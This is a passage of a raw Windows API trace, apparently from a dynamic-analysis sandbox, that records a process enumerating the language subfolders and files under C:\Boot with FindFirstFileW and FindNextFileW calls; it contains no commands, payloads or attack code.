ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.079] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.079] GetLastError () returned 0x12 [0050.079] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.079] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.079] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.079] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0050.079] GetLastError () returned 0x12 [0050.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*" (normalized: "c:\\boot\\hu-hu\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.079] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.080] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.080] GetLastError () returned 0x12 [0050.080] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.080] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.080] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.080] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="it-IT", cAlternateFileName="")) returned 1 [0050.080] GetLastError () returned 0x12 [0050.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*" (normalized: "c:\\boot\\it-it\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.080] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.080] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.080] GetLastError () returned 0x12 [0050.080] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.081] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.081] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.081] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0050.081] GetLastError () returned 0x12 [0050.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*" (normalized: "c:\\boot\\ja-jp\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.081] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.081] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.081] GetLastError () returned 0x12 [0050.081] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.081] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.081] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.081] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0050.082] GetLastError () returned 0x12 [0050.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*" (normalized: "c:\\boot\\ko-kr\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.082] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.082] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.082] GetLastError () returned 0x12 [0050.082] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.082] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.082] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.082] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x44, dwReserved1=0x44, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0050.082] GetLastError () returned 0x12 [0050.082] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0050.082] GetLastError () returned 0x12 [0050.083] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*" (normalized: "c:\\boot\\nb-no\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.083] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.083] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.083] GetLastError () returned 0x12 [0050.083] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.083] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.083] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.083] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0050.083] GetLastError () returned 0x12 [0050.083] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*" (normalized: "c:\\boot\\nl-nl\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.086] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.086] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.086] GetLastError () returned 0x12 [0050.086] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.086] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.087] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.087] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0050.087] GetLastError () returned 0x12 [0050.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*" (normalized: "c:\\boot\\pl-pl\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.087] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.087] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.087] GetLastError () returned 0x12 [0050.087] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.087] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.087] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.087] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0050.087] GetLastError () returned 0x12 [0050.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*" (normalized: "c:\\boot\\pt-br\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.088] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.089] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, 